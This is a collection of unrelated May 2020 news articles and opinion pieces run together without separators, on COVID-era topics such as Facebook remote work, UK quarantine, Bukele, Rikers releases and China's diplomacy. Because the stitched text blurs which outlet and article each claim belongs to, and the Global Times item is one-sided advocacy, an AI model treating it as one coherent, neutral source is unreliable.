Air Quality Tracker Check levels down to the neighborhood Ratings for the Bay Area and California, updated every 10 minutes

Workers who move to less expensive locations from the Bay Area would see a pay cut, Zuckerberg said.

For now, Facebook is only allowing remote work applications from experienced employees with strong recent performance. They must also work in a team that supports remote work, which excludes content reviewers who remove illegal content from the service, hardware engineers, data center technicians and people who work near clients in sales, policy and partnerships roles.

Zuckerberg wrote that there were many uncertainties around less human interaction, particularly with bringing new hires on board. The company could end up spending more on remote work equipment compared to traditional offices, he said.

Its going to take time to make this work for everyone. Were going to learn a lot from this, he wrote.

Roland Li is a San Francisco Chronicle staff writer. Email: roland.li@sfchronicle.com Twitter: @rolandlisf
Click here to learn more and join potential securities class action.

LOS ANGELES, May 22, 2020 (GLOBE NEWSWIRE) -- The Portnoy Law Firm announces it is investigating potential federal securities claims on behalf of shareholders of Carnival Corporation & Plc (NYSE: CCL; CUK) in connection with reports that the Company has misled investors regarding the lack of safety measures Carnival took in connection with COVID-19.

The Portnoy Law Firm is preparing a securities lawsuit on behalf of Carnival shareholders. Investors are encouraged to contact attorney Lesley F. Portnoy , by phone or text 310-692-8883 or email : lesley@portnoylaw.com, to discuss their legal rights, or via www.portnoylaw.com .

On May 1, 2020, Bloomberg published an article entitled "House Panel Opens Carnival Probe Over Cruise Ship Outbreaks." The article reported, in part, "[t]he U.S. House Committee on Transportation and Infrastructure . . . opened an inquiry into Carnival Corp.'s handling of the COVID-19 outbreaks that have resulted in more than 1,500 confirmed cases of the novel coronavirus aboard its cruise ships, as well as dozens of passengers and crew deaths." The Bloomberg article also quoted a letter to Carnival from Congressman Peter DeFazio, the House Committee on Transportation and Infrastructure chair, which reportedly stated, in part, "it seems as though Carnival Corporation and its portfolio of nine cruise lines, which represents 109 cruise ships, is still trying to sell this cruise line fantasy and ignoring the public health threat."

On this news, Carnival's shares fell $1.97 per share, or over 12%, to close at $13.93 per share on May 1, 2020, thereby damaging investors.

The Portnoy Law Firm represents investors on a contingency basis in pursuing claims caused by corporate wrongdoing. The Firms founding partner has recovered over $5.5 billion for aggrieved investors. Attorney advertising. Prior results do not guarantee similar outcomes.

Lesley F. Portnoy, Esq.

Admitted CA and NY Bar

lesley@portnoylaw.com

310-692-8883

www.portnoylaw.com

Attorney Advertising
Rikers Island is a thorn on the side of New York's Mayor Bill de Blasio. As a former Correction Officer there, I can tell you that its impossible to please everyone. The mayor learned that the hard way by releasing 2,000 inmates ahead of time out of fear that they might contract coronavirus recently. I was not surprised that more than 50 of those released are already back in jail for new crimes.

As a liberal Latino who was once homeless myself, I get it. You don't want to keep jailing men of color who haven't committed violent or serious crimes. Thats great in theory, but not realistic. Especially in the case of repeat offenders, many are unemployed and have addiction/recovery issues they need treatment for, as well as nowhere to go once they're out. They add to the homeless population living on the subway and robbing others. The recent high rate of recidivism among inmates who have been released shows it's a dangerous, deadly revolving door in the middle of a pandemic.

Who are the inmates who have been released during the Covid-19 crisis? Well, one of them is Robert Pondexter. Pondexter, 57, was released on April 15, 2020 only to be arrested on April 28 for sexually assaulting a woman. Pondexter has an extensive history of sexual assault and now is being held on $250,000 bail.

Another is Pedro Vinent-Barcia. On June 29, 2018, Vinent-Barcia, 63, was arrested for the murder of Bernice Rosado, 51, by stabbing. He'd bullied her for months before finding her in a cellphone repair shop in Harlem and allegedly stabbing her repeatedly in the chest and back. As he was led away in handcuffs, he was reportedly heard saying, Is she dead? I hope so. Two years later, his legal aid team successfully argued that the coronavirus pandemic was exposing Vinent-Barcia to serious harm and that he should be released. A judge sided with the Legal Aid Society, who claimed their client had cardiovascular disease, pulmonary disease and type II diabetes so keeping him in Rikers Island would kill him. Debilitating conditions they may be, but if Vinent-Barcia did murder his girlfriend, they didnt prevent him from doing so.

Vinent-Barcia was released on March 26, 2020.

Another inmate, James Little, 41, was accused of allegedly assaulting his girlfriend. He was released from Rikers Island on March 28, 2020 due to Covid-19 concerns. Little was rearrested on April 8 for robbing the Apple Bank in Gramercy Park in Manhattan. It was just luck that Little did not kill or hurt anyone during the robbery.

Clearly we need a better plan. Knowing the layout of Rikers Island, I can assure you they have room to house potentially ill inmates and ones who are vulnerable and at risk. I worked at North Infirmary Command (NIC) and escorted many inmates to the West Facility. I've seen the hospital beds and private cells where the most notorious inmates are housed along with those who are sick, disabled, HIV-positive, or suffering from an infectious disease. NIC can hold 416 inmates but is now only housing 25. The West Facility, a hospital-style building, has 940 beds, many of which are currently not in use. These are smarter options than early release. New Yorkers deserve better from the mayor.

537 inmates at Rikers Island have tested positive for the coronavirus so far, and if any one of those inmates were released, they would pose a significant infection hazard to everyone else in New York. There is available space on Rikers Island for the sick inmates to recover and not pose a threat to other New Yorkers. But instead, there's now a rush to release these inmates because the mayor promised New Yorkers that he would shut down the island, and hes seizing on this opportunity to make good on his promise.

While something must be done to improve Rikers, the solution isn't letting out inmates who are not healthy and have no jobs, homes or support systems. Letting loose men who have extensive criminal records during a medical crisis will only make our problems worse. I know, because I worked with these men every day.
AP

The stalwart gaze of a 75-foot-tall Elon Musk surveys the lands surrounding Tulsa, Oklahoma's Tulsa Expo Center, his arm resting atop a blackened oil derrick. An enormous, red Tesla logo covers his torso, and his luminous white belt buckle bears the name of the electric car company.

No, Mr Musk's recent renouncing of material possessions did not result in his ascension to a concrete and plaster godhood. The dystopian structure is actually a repainted statue from the 1960's meant to court the Tesla CEO into opening a new manufacturing facility in Tulsa.

The statue - originally built in 1966 and currently the sixth tallest statue in the US - is called the "Golden Driller." Before Mr Musk's face was painted over the statue's existing visage and the "Tesla" iconography was added, the statue was intended to be a tribute to the state's petroleum industry.

The publicity stunt was carried out by the Tesla Owners of Oklahoma and supported by the city's mayor, GT Bynum.

The Tesla Owners of Oklahoma are part of a broader club of nationwide Tesla owners who describe themselves as a "community of owners and enthusiasts committed to evangelizing Tesla's mission to accelerate the world's transition to sustainable energy. Club members can help advocate for the company by supporting legislative efforts, offering test drives, volunteering at shows, assisting prospective owners, hosting social events and passionately referring friends and family to explore Tesla ownership for themselves."

(AP)

Mr Musk's company is currently searching for a location to house its second automotive manufacturing plant in the US. The plant will produce the Model Y utility vehicle as well as the Gibson-esque Cybertruck. According to the company, Tulsa and Austin are both on its short list.

While Mr Musk has yet to comment on the rendering of the statue in his image, Mr Bynum said he hopes that amending the statue continues to deliver the message that Tulsa is the right home for Tesla.

Story continues

"I think this is about convincing people that Tulsa is the best fit for Tesla, I really do believe that," he told Tulsa World.

Cities performing tricks for CEOs searching for expansion locations have increased in recent years, becoming the modern altar sacrifice, except rather than burning a slaughtered lamb, they're painting the face of a South African-born billionaire on a sixty-year-old statue.

Maya Kosoff collected a list of desperate stunts cities have pulled in a piece for Vanity Fair. Among them are New York City turning every light in the city orange to try to woo Jeff Bezos into opening Amazon HQ2 in New York; the mayor of Frisco, Texas offering to literally plan the expansion of the city around the needs of the Amazon facility; and - in a true offering of worship and fealty - the town of Stonecrest near Atlanta offered to rename itself 'Amazon' and make Mr Bezos its permanent mayor.

Read more

Matrix director slams Elon Musk and Ivanka Trump for red pill tweets
Ajibola Basiru, senator representing Osun central and spokesperson of the senate, says many laws in the country are dead letters.

Speaking on a live social media programme  Politics Everywhere With SOK  Basiru, said Nigeria needs to declare a state of emergency on its laws.

According to the lawmaker, poor funding has hindered the reworking of these obsolete laws.

It tells us that largely we need to declare a state of emergency on the laws of Nigeria. Most of our laws have become what they call dead letters because they are no longer useful, the senator said in a statement.

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We know that by Section 5 of the Nigerian Law Reforms Commission Law, the commission is saddled with ensuring dynamic amendment of our laws.

But largely because of funding, and may be lack of commitment to it, the commission has been largely in limbo.

Read Also: Bill For National Health Emergency Passes First Reading In Senate

So, you would agree with me that we need to declare a state of emergency in terms of our laws. But then, you see there has to be a relationship between the executive and the legislature.

I want to enjoin the attorney-general of the federation and the Law Reform Commission and particularly the executive to take the issue of some of our laws reform very serious.
Popular Nigerian Nigerian disc jockey and music producer Florence Ifeoluwa Otedola, professionally known as DJ Cuppy, has taken to her official Twitter handle to mock all her exes.

While it still remains unknown why the Gelato crooner is mocking her exes, she accompanied her message with some photos which depict mockery.

In 2017, the popular entertainer made headline when he relationship with former Nigerian international, Victor Anichebe hit the rock.

Read Also: I Fell In Love With DJ Cuppy When I Discovered She Has Endless Talents Like Tacha  Maduagwu

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Since then, she has not been seen in public places flaunting or showing off her man.

https://twitter.com/cuppymusic/status/1263790438001098754?s=19
South Korean tech giant Samsung is planning to skip the physical event to launch its Galaxy Note 20 series and, instead, aims to host it online owing to the COVID-19 global pandemic. Tech companies like Apple, Google, Microsoft have already shifted their major events online and Samsung is the latest company to join this list.

According to South Korea publication The Korea Herald, Samsung is planning an online-only event to reveal the Galaxy Note 20 and Galaxy Note 20 Plus. This would be the first-ever Samsung Unpacked event that would be completely online.

Despite the online-event, the company still plans on announcing the Galaxy Note 20 series in August this year and might launch Galaxy Fold 2 at the same event. The smartphone maker is expected to confirm the launch date within the next few weeks.

Last year, it unveiled the Galaxy Note 10 series at an Unpacked' event held at the Barclays Center in New York on August 7. Ahead of the launch, some specifications of the Galaxy Note 20 series surfaced online.

The standard Galaxy Note 20 will sport a 6.42-inch Full HD+ AMOLED display with a 120Hz refresh rate and a 1084*2345 resolution. The top-end Note 20 smartphone will get slightly bigger and sport a massive 6.87-inch LTPO screen with an AMOLED panel.

Like the vanilla Note 20, the Note 20+ will also have support for 120Hz refresh rate but with QHD+ resolution of 1444*3096 pixels. The smartphone maker may launch the Galaxy Note 20 with Snapdragon 865 processor or its custom Exynos 990 SoC, depending upon the region.

The processor could be paired with up to 16GB LPDDR5 RAM, which Samsung had previously started mass-producing. The Samsung Galaxy Fold 2 will feature a 7.59-inch screen with 2213x1689 resolution and a refresh rate of 120Hz.
(CNN)  Few world leaders have generated as much criticism and praise, often at the same time, for their handling of the coronavirus pandemic as El Salvador's Nayib Bukele.

Even though Bukele had been president for less than a year, in March he took the dramatic step of closing his country's border even before El Salvador reported a single case of coronavirus, arguing that the small Central American nation had to get ahead of the outbreak.

Some Salvadorans praise him for taking decisive action that may have saved his small Central American nation from the worst impacts of the coronavirus. Others say he is becoming a strongman who is violating his own country's constitution, most recently as he spars with the Supreme Court and National Assembly about how soon El Salvador will reopen.

That Bukele, 38, is in office at all is still something of a surprise for many Salvadorans.

He is the first president since the end of the Salvadoran civil war in 1992 not to belong to either of the country's two major political parties.

Bukele's paternal grandparents were Palestinian immigrants to El Salvador and he ran for president as a social media savvy, motorcycle jacket wearing, millennial outsider who would shake things up in a nation worn down by endless corruption and horrific gang violence.

"Bukele is very focused on getting done what he believes needs to get done, and has little patience for his critics, or for the institutions that oppose, slow, or limit his ability to act," said Geoff Thale, president of the Washington Office on Latin America, in an email interview with CNN.

"He's used social media to attack his critics, including journalists. He's repeatedly attacked the National Assembly- which is dominated by the two traditional political parties, which are hostile to him."

Prowess on social media

With nearly two million Twitter followers and polls that often show more than a 90 percent approval rating, Bukele has broken the traditional mold for politicians in his country and generated international attention.

In 2019, he acknowledged his country bore responsibility for the conditions that caused migrants to flee after the drowning deaths of a Salvadoran father and two-year-old daughter on the banks of the Rio Grande.

Ahead of making his first speech at the United Nations General Assembly in September, Bukele asked the audience to wait and first snapped a selfie, which he later said would have more impact than his prepared remarks.

But before the coronavirus outbreak, some critics in El Salvador warned that Bukele's disruptive style was increasingly eroding the separation of powers and threatening the country's fragile democracy.

At odds with the National Assembly

In February, as Bukele demanded the country's lawmakers approve a request for $109 million loan to better equip police and soldiers, heavily armed troops marched into the National Assembly on his orders, which many in El Salvador saw as a blatant attempt to intimidate and a return to the era when political violence dominated the country.

The National Assembly rejected the pressure campaign and the incident hurt Bukele's image abroad, although the Trump administration, which considers Bukele an ally on immigration and on its Venezuela strategy, did not condemn his actions.

In March, the spread of the coronavirus presented Bukele with another opportunity to act boldly or, as his critics claim, grab more power for himself.

After closing borders, Bukele put in place stringent quarantine measures but also earmarked food and money for impoverished Salvadorans.

He ordered the military to arrest people violating the new measures, sending thousands to government "quarantine centers."

When the Supreme Court ruled the arrests were unconstitutional and ordered him to stop, Bukele refused and the soldiers remained on the streets.

"Five people won't decide the deaths of hundreds of thousands of Salvadorans," Bukele wrote on Twitter of the ruling. "One thing is to interpret the constitution, it's something very different to order the death of the people."

According to Johns Hopkins Covid-19 tracker, there have been 1,571 confirmed cases of the coronavirus in El Salvador to date, with 31 deaths attributed to the virus.

Battling the gangs

After a spike in gang violence in April, Bukele wrote on Twitter that the police and military had the authority to respond however they saw fit and his government released photos of tens of gang members shirtless and forced to sit on top of one another in prison, despite the dangers of spreading the virus further.

"I thought that was very disgusting I guess it was their way of showing off to the people showing them who has the power," said Will, a former member of the Barrio 18 gang in El Salvador, who has started a gang outreach program through a local church and is still covered by the tattoos that gangs in Central America often used to identify their affiliation.

Will asked his last name not be used out of fear that security forces might hunt him down as a former gang member. El Salvador has been wracked by decades of out-of-control gang violence, making it one of the most dangerous countries in the world.

The government's heavy-handed response to the pandemic has halted the church group's efforts to convince gang members to seek a new life, Will said.

"The government doesn't know how to identify the root of the problem and keeps firing at everything that moves so we are very affected by it," Will wrote to CNN on Facebook Messenger. "I can't even go out without worrying what kind of police officer is going to pull me over knowing they have license to kill now if they feel threatened."

Despite feeling a target had been put on his back, Will said he understood Bukele's popularity with many Salvadorans.

"Some say we are losing our democracy," the former gang member wrote, "But to be honest it seems that he is thinking about the people and has done things that never been done in the past for the people especially those of low income."

Showdown over reopening the country

The battle over who has the power to decide the terms of El Salvador's quarantine will likely rage on as long as the disease does.

Bukele has said he wants the country to begin reopening on June 6th, but lawmakers in the National Assembly have said that it needs to happen sooner.

On Monday, the country's Supreme Court overruled Bukele, saying he did not have the authority to extend anti-coronavirus measures and urged the National Assembly and president to work together to reopen the country.

But even as lawmakers proposed the bill to immediately lift the quarantine, Bukele vowed it would not become law.

Another showdown already appears to be in the works with lawmakers looking to override a president who is determined to use all his powers and beyond to stop them.

"This is a law that will massively infect Salvadorans," Bukele wrote on Twitter. "Thank God, I can veto it."

This story was first published on CNN.com "Savior or strongman? El Salvador's millennial president defies courts and Congress on coronavirus response"
A coronavirus mass-screening test described as a 'game-changer' in the fight against the disease could be ready in a few weeks.

Biotech company Oxford Nanopore is working on a portable swab-recording device called LamPORE, which can determine whether a user has coronavirus in the space of an hour.

As well as being able to process around 30,000 samples a day, the device can also be used to determine whether hard surfaces in schools, hospitals and care homes have traces of COVID-19.

A new coronavirus mass-testing kit, which includes a portable testing device called LamPORE, (pictured) could be used by members of the public in just a matter of weeks. The device uses electronic means to analyse swab samples and can give back results in just over an hour

The company, who have validated the device internally, say that it could be used to check whether every single public service worker has the virus before they go off to work.

The LamPORE device, which also comes in a desktop version which is about the size of a printer, uses electronic means to record and analyse the samples.

Each test is given a barcode which is individually assessed before returning back with the result - without having to wait for swabs to be sent to the laboratory.

The portable version of the LamPORE device is believed to be the same size as a CD player.

Oxford Nanopore CEO Gordon Sanghera told Sky News: 'In the next six to eight weeks, we will be able to hit one million tests a month, and we can double that and double it again.'

The test was made by biotech company Oxford Nanopore, with the LamPORE test already passing inital tests within the centre (pictured)

'You have to be able to test in real time, or near real time, at the point of infection and close it down rapidly.

'So I think it's a game-changer.'

After passing the initial tests inside Oxford Nanopore, the device and the testing system is set for further checks before being shown to regulators.

Meanwhile, an antibody test is being prepared for public usage in South Wales, with Ortho Clinical Diagnostics, situated around 20 miles outside of Cardiff in Brigend, believed to be the only company currently working on this typing of test in the UK.

According to Wales' health minister Vaughan Gething, the test will be able to determine whether someone has had the virus in the past.

Meanwhile, Ortho Clinical Diagnostics, a company based in South Wales, are the only firm in the UK working on an antibody test (pictured) which can tell if someone has had the virus in the past

Mr Gething said: 'It is important to say although the test can tell if someone has had the virus, it's not certain as to how much immunity they'll have to the virus.

'We are also looking to deliver another type of antibody test, which can give a result in minutes.

'Together with the test announced today, this will form an important part of our test, trace, protect to strategy to help Wales come out of lockdown.

'I will shortly be announcing how these antibody tests will fit into the strategy and when our critical workers and general public will be able to get access to them.'
Chinese leader Xi Jinping (L), Chinese Premier Li Keqiang (R), and Li Zhanshu, head of Chinas rubber-stamp legislature, at the Great Hall of the People in Beijing on March 5, 2019. (Jason Lee/Reuters)

China Abandons GDP Target for First Time as Virus Overshadows Parliament

BEIJINGChina has decided not to set an economic growth target for 2020 due to the coronavirus pandemic and global uncertainties, Chinese Premier Li Keqiang said on Friday morning as Chinas biggest political event got underway, the National Peoples Congress.

It marked the first time China did not set a gross domestic product (GDP) goal since 1990 when the government started to first publish such targets.

Li pledged more government spending as the COVID-19 pandemic hammers the worlds second-biggest economy, setting a sombre tone to this years meeting of parliament in Beijing.

We have not set a specific target for economic growth for the year, mainly because the global epidemic situation and economic and trade situation are very uncertain, and Chinas development is facing some unpredictable factors, Li said at the start of the parliament meeting.

Domestic consumption, investment and exports are falling, and the pressure on employment is rising significantly, while financial risks are mounting, he warned.

China recorded a contraction of 6.8 percent in the first quarter from a year earlierits first since at least 1992 as the coronavirus puts a halt on spending and paralysed production.

The work report also mentioned maintaining national security in the mainland and accurately implementing the one country, two system in Hong Kong, after a news conference late Thursday evening revealed that the Congress was planning to put forward a national security bill for the semi-autonomous region.

The draft bill will establish and improve the legal system and enforcement mechanism of the special administrative region to maintain national security and implement the constitutional responsibility, Li told the Congress.

Few details have been made public. The bill from the Chinese Communist Party, which is choosing to bypass the Hong Kong legislature due to strong opposition, could spark more protests in the financial hub as pro-democracy protesters say it is further erosion of the citys high degree of autonomy.
Trump ramps up animosity toward China by threatening diplomats

Global Times

By Liu Xin and Liu Caiyu Source:Global Times Published: 2020/5/21 15:18:40

Threat against Chinese govt spokesperson 'disgraceful'

Recent tweets sent by US President Donald Trump, in which he criticized a Chinese government spokesperson and accused China of spreading disinformation and propaganda, signal more aggressive attacks against China, experts said, while slamming him for worsening the already strained China-US ties and calling for stronger countermeasures with regard to possible punitive measures from the US against Chinese diplomats.

On Wednesday, Trump posted four tweets, one of which called an unnamed figure in China a "wacko" and accused the person of "blaming everyone but China for the virus." The other three said that the "spokesman speaks stupidly on behalf of China, trying desperately to deflect the pain and carnage that their country spread throughout the world."

Trump also accused China of launching a disinformation and propaganda attack on the US and Europe.

Trump's tweets are a blunt threat to Chinese diplomats, experts said, warning of possible sanctions from the US against Chinese officials.

"Trump's tweets, in terms of both the words he picked and the way he wrote them, are disgraceful," Xin Qiang, deputy director of the Center for American Studies at Fudan University in Shanghai, told the Global Times on Thursday. As US president, Trump used aggressive words to attack Chinese spokespersons, and regardless of who he was referring to, a spokesperson is usually supposed to represent the government, Xin said.

Although Trump did not reveal the name of the Chinese spokesperson, he may have been referring to Foreign Ministry Spokesperson Zhao Lijian, who has 623,200 followers on Twitter, observers believed.

On Wednesday, Zhao tweeted that the international community has disagreed with the US moves to distort the truth, blame others and destroy international anti-virus joint efforts, as he mentioned a letter Trump sent to Director-General of the World Health Organization Dr Tedros Adhanom Ghebreyesus, in which Trump threatened to quit the WHO.

"We have debunked the fallacies in the letter many times [as to] how credible the letter is, the international community has reached a conclusion." The US should focus on fighting the virus, not sending ultimatums to the leader of an international organization, he added.

Zhao was also the first Chinese diplomat to ask the US for an explanation on the virus' origins after a top US health official admitted some COVID19 patients were misdiagnosed as flu during 2019 flu season. Ever since then, Zhao has come under continued and furious attacks from US politicians and media.

"More voices from China have been heard by the international community, especially on overseas social platforms. For example, more Chinese diplomats and media have opened Twitter accounts, which are talking directly to Americans," Sun Chenghao, an assistant research fellow with the Institute of American Studies of the China Institutes of Contemporary International Relations, told the Global Times.

More people in the US are learning the other side of the story about China, which is true and opposite to the US government's narrative. This is what US politicians cannot tolerate, leading to more attacks from them, Sun said.

Experts said that these true voices from China are like blunt notices and reminded the international community and Americans that "Trump wears no clothes" and makes up lies to whitewash himself, which deeply hurt Trump's administration.

In addition to Zhao, another Foreign Ministry spokesperson, Hua Chunying, who has gained 443,600 followers since she debuted on Twitter in October 2019, posted five tweets on Wednesday, making a comparison between the infection numbers in China and the US since the epidemic outbreak.

"US had 7,087 cases as China reported 0 new domestic cases on Mar. 19. Now US has 1,570,583 cases & 93,533 deaths. Who on earth should be accountable?" she tweeted.

She added, "'Follow me and you live, defy me and you die.' Is this the American style of science and democracy? But history has proven that only by following the trend of the times can one develop and prosper."

Sun noted that Trump's tweets on Wednesday were a more aggressive version of his recent farcical comments. The reasons behind these tweets are Trump's incompetence in stopping the coronavirus spreading to more US non-urban areas, where there may not be enough medical resources to deal with increasing infections, Sun said, adding that the epidemic may affect his support rate in these swing states.

Trump criticized China of using "disinformation and propaganda" to attack the US and EU, but the fact is he himself and some officials from his administration, especially Secretary of State Mike Pompeo, have spread the largest amount of disinformation to mislead Americans and smear China, experts said.

"How much disinformation has Trump himself spread to the public? From using disinfectant to the anti-malarial drug hydroxychloroquine, he has spread more disinformation on social media platforms," Xin noted.

As for Pompeo, Sun said that he has never done what a top diplomat should do, but only plays the role of Trump's loyal propaganda and election cheerleader.

"He is too busy helping Trump shift the blame to China, and attack and smear China," Sun said.

Pompeo mentioned China 14 times during his 20-minute press conference on Wednesday, not only accusing China of hiding information about the coronavirus but also interfering with China's domestic affairs in Hong Kong and Taiwan.

"Trump's moves showed that he is trying to blame China for the US' domestic failure in coping with the epidemic, which is an important factor in the upcoming election. His attacks on China will only become more intense," Li Haidong, a professor at the Institute of International Relations, China Foreign Affairs University, told the Global Times.

Experts said that with the deterioration of China-US ties and more unhinged US attacks on China, the US government may ask US social media platforms to suspend Chinese diplomats' and media outlets' accounts.

If the Trump administration takes such measures, the whole world will once again see clearly that the so-called freedom of press and speech that the US claims to advocate is a total lie and only serves political purposes. Any voices that differ from those held by US politicians may be suppressed by the US, experts said.

Some are worried that the US may also use the Magnitsky Act to impose sanctions against Chinese officials. Three Republicans have called for the use of Magnitsky Act sanctions against Chinese officials over the country's coronavirus response, and Zhao's name was on the list, Fox News reported.

Experts said that China should take similar measures based on the principle of reciprocity, putting US officials on a punitive list, banning related US officials and politicians from entering China and restricting their business with China.

Overseas netizens have also swarmed Trump's tweets since Wednesday, leaving comments ridiculing the president and calling him the "wacko" in the US, who is best at blaming others for his mistakes.

"There is a wacko in the US who made numerous remarks blaming everybody other than himself for the virus which has now killed hundreds of thousands of people in the US. Please explain to this dope that it was the incompetence of the US and the Trump administration, nothing else, that did this mass killing in the US!" one netizen wrote in response to Trump's tweet on Wednesday.

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A day after announcing the resumption of domestic flights in India starting May 25, the Airports Authority of India (AAI) on Thursday has issued detailed Standard Operating Procedures (SOPs) to all its airports.

According to the SOPs, the passenger seating arrangement shall be done in such a manner so as to maintain social distancing and registration with the Aarogya Setu app will be a must. It states that passengers who are not shown 'green' on the app will not be allowed to travel.

The 6-page SOP also says that state governments will arrange public transport facilities for passengers and airline staff and all passengers will pass through the screening zones before entering the terminal building. Airline Operators have been asked to set up such zones in each city.

The guideline further states that an isolation area will be made available for suspected/ confirmed Covid cases. With utmost emphasis on social distancing norms, the guidelines say that cab and taxi drivers will be trained on maintaining the same, queueing area will be allotted outside landside commercial outlet and frequent patrolling will be done to ensure it.

On luggage, the guideline states that the use of trolleys will be 'discouraged' in departure and arrival areas. It also said that newspapers and magazines will not be provided at the Terminal building and lounges. Furthermore, the airport authority will ensure the availability of hand sanitizers and mats and carpets will be sanitized using bleach.

Here is the full SOP accessed by Republic:

As per Union Health Ministry's update on Thursday morning, the death toll due to COVID-19 rose to 3,435 and the number of cases to 1,12,359 in the country, registering an increase of 132 deaths and 5,609 cases in the last 24 hours. The number of active COVID-19 cases stood at 63,624, while 45,299 people have recovered and one patient has migrated.

Order of MoCA Dated 21st Ma... by ankit on Scribd

Domestic flights to resume

Union Civil Aviation Minister Hardeep Singh Puri announced that domestic flights will recommence in a calibrated manner from May 25 onwards. Taking to Twitter, Puri stated that all airports and air carriers are being informed to be ready for operations from Monday onwards. He added that the Standard Operating Procedure (SOP) for passenger movement is also being separately issued.

The development came just a day after the Civil Aviation Minister had stated that the Centre alone cannot operate domestic flights, adding that the state governments will also have to be ready to operate domestic flights. In a notice issued by the DGCA earlier, domestic and international aviation operations had been restricted till May 31 under the fourth phase of the lockdown.

Domestic civil aviation operations will recommence in a calibrated manner from Monday 25th May 2020.



All airports & air carriers are being informed to be ready for operations from 25th May.



SOPs for passenger movement are also being separately issued by @MoCA_GoI.  Hardeep Singh Puri (@HardeepSPuri) May 20, 2020

READ | Domestic air travel to commence from May 25 in 'calibrated manner'; SOP to be issued

READ | Nepal's PM blames India for spreading COVID, says 'Indian virus more lethal than Chinese'
The concept of the spread of coronavirus in the world. Closing air traffic between countries. Photo: Getty

The UK government confirmed in a statement that it will put in place a 14-day period of quarantine for anyone that lands on British soil in a bid to prevent the spread of coronavirus.

The move, which was announced at the governments daily press briefing, will be a huge blow for the airline industry that is predicted to lose $314bn (253bn) this year, according to the latest prediction from the International Air Transport Association (IATA). That number is still 25% more than previously forecasted. This is also due to a 55% drop in 2020 passenger revenue compared with last year.

Home secretary Priti Patel confirmed at the daily coronavirus briefing from Downing Street on Friday that alongside the 14-day quarantine, those under that lockdown could be contacted regularly throughout this period to ensure compliance.

As the world begins to emerge from what we hope is the worst of the coronavirus pandemic, we must look to the future and protect the British public by reducing the risk of cases crossing our border, she said in a statement.

We are introducing these new measures now to keep the transmission rate down and prevent a devastating second wave.

I fully expect the majority of people will do the right thing and abide by these measures. But we will take enforcement action against the minority of people who endanger the safety of others.

Other measures include:

Contact locator form : All arriving passengers will be required to fill this form in to provide contact and travel information so they can be contacted if they, or someone they may have been in contact with develops the disease.

Spot checks: Border Force will also undertake checks at the border and may refuse entry to any non-British citizen who refuses to comply with these regulations and isnt resident in the UK. Public health authorities will conduct random checks in England to ensure compliance with self-isolation requirements. Removal from the country would be considered as a last resort for foreign nationals who refuse to comply with these public health measures.

Fines: Anyone failing to comply with the mandatory conditions under the 14-day quarantine may face a 1,000 fixed penalty notice in England or potential prosecution and unlimited fine. The level of fine could increase if the risk of infection from abroad increases. The Devolved Administrations will set out their own enforcement approaches. Failure to complete the spot check/contact form is also punishable by a 100 fixed penalty notice.

Story continues

These are similar measures that have already been announced by other countries including the US, Spain and New Zealand to stop the spread of new cases of COVID-19.

On Friday, Virgin Atlantic said it will delay resuming flights until at least August this year due to the new government plans.

The safety and security of our people and our customers is always our top priority and public health must come first. However, by introducing a mandatory 14 day self-isolation for every single traveller entering the UK, the Governments approach will prevent flights from resuming, said a spokesperson for the company, founded by Virgin tycoon Richard Branson.

READ MORE: Coronavirus: Virgin Atlantic delays resuming flights over 14-day quarantine plans

We are continually reviewing our flying programme and with these restrictions, there simply wont be sufficient demand to resume passenger services before August at the earliest.

Previously, British Airways (BA) and Aer Lingus owner International Consolidated Airlines Group (IAG.L) has said that it hopes to revive flights to 50% of capacity by July. And EasyJet (EZJ.L) announced earlier this week that it plans to resume flights from a number of UK airports from 15 June.

Michael OLeary, CEO of budget airline Ryanair (RYA.L) previously called the plans unenforceable and unpoliceable, warning they would be widely ignored. The airline recently confirmed, as well, it will not request or receive state aid as it is set to halve its passenger numbers over the next year.

However, the airline group noted in its financial statement that it raised 600m in unsecured debt in April from the UK's state-backed loan program, the Covid Corporate Financing Facility (CCFF).

Ryanair chief financial officer Neil Sorahan argued that tapping the CCFF was not comparable to the billions in state support that Air France (AF.PA) and Lufthansa (LHA.DE) will receive. The CCCF was not illegal state aid as it was open to all companies with an investment grade credit rating, Sorahan said.

READ MORE: Coronavirus: Ryanair won't 'request or receive' state aid as passenger numbers set to halve

Like all countries, the UK must be guided by the science and have a health first approach because we cannot risk a second wave of the virus, said Matthew Fell, CBI Chief UK Policy Director.

Quarantine will have a significant impact across a number of sectors, so its welcome that the government will keep the policy under regular review. Businesses are keen to work with government on a robust, internationally-coordinated plan to get passengers flying safely as soon as possible, including through innovative solutions such as the establishment of air bridges.

Airlines and airports are critical hubs for regional and national prosperity and will have a key role to play in the economic recovery.
While many countries hunker down and focus on domestic coronavirus problems, China is looking outward. Now that it seems to have stemmed the most rampant transmission and has begun reopening cities and factories, it is advertising its approach to the virus: intensive testing and tracing, as well as strict isolation measures. It brags (via state media and diplomats) about its low daily case numbers - many from people coming into the country - while the United States reports some 25,000 new infections daily and has more than 93,000 dead. Beijing is offering concessionary loans to countries like Sri Lanka with battered economies. It is handing out aid and sending masks and medical experts, both to wealthy democracies (like Spain and Italy)and neighbors (like the Philippines and Malaysia), sometimes along the same transport routes that Beijing was already building to connect the globe. China's leaders have branded these routes as the "Health Silk Road," linking them to its massive global Belt and Road Initiative, the centerpiece of Chinese foreign policy today.

Meanwhile, Chinese leaders are at pains to demonstrate their engagement with international organizations, creating a contrast with the United States, which has blasted the World Health Organization cut off funding for it and declined to participate in a high-level global summit on joint efforts to develop a vaccine. Chinese President Xi Jinping is calling many other world leaders to chat about pandemic cooperation; he also has held talks with the Group of 20, the Association of Southeast Asian Nations and the African Union. Chinese diplomats have used op-eds and press statements to highlight appreciation for their country's assistance, such as the extravagant praise from Serbian President Aleksandar Vucic. Beijing recently announced it would send $2 billion to the WHO to combat coronavirus, and officials said that if Chinese scientists discovered a vaccine, Beijing would share it with all countries.

Beijing sees the crisis as a chance to acquire more global leadership just as the United States abdicates it, a notion that worries some observers. In some ways, this could be good: Beijing has played a relatively positive role on climate change, for instance. But in many areas, like Internet governance, China is seeking to promote a closed, authoritarian model, one that could help keep repressive regimes in power. And a more powerful Beijing might further dominate its neighbors, making parts of Southeast Asia a potential U.S.-China flash point.

Yet China's effort to use the virus to gain more global power is likely to yield mixed results, at best. In many countries, its sales pitch is failing.

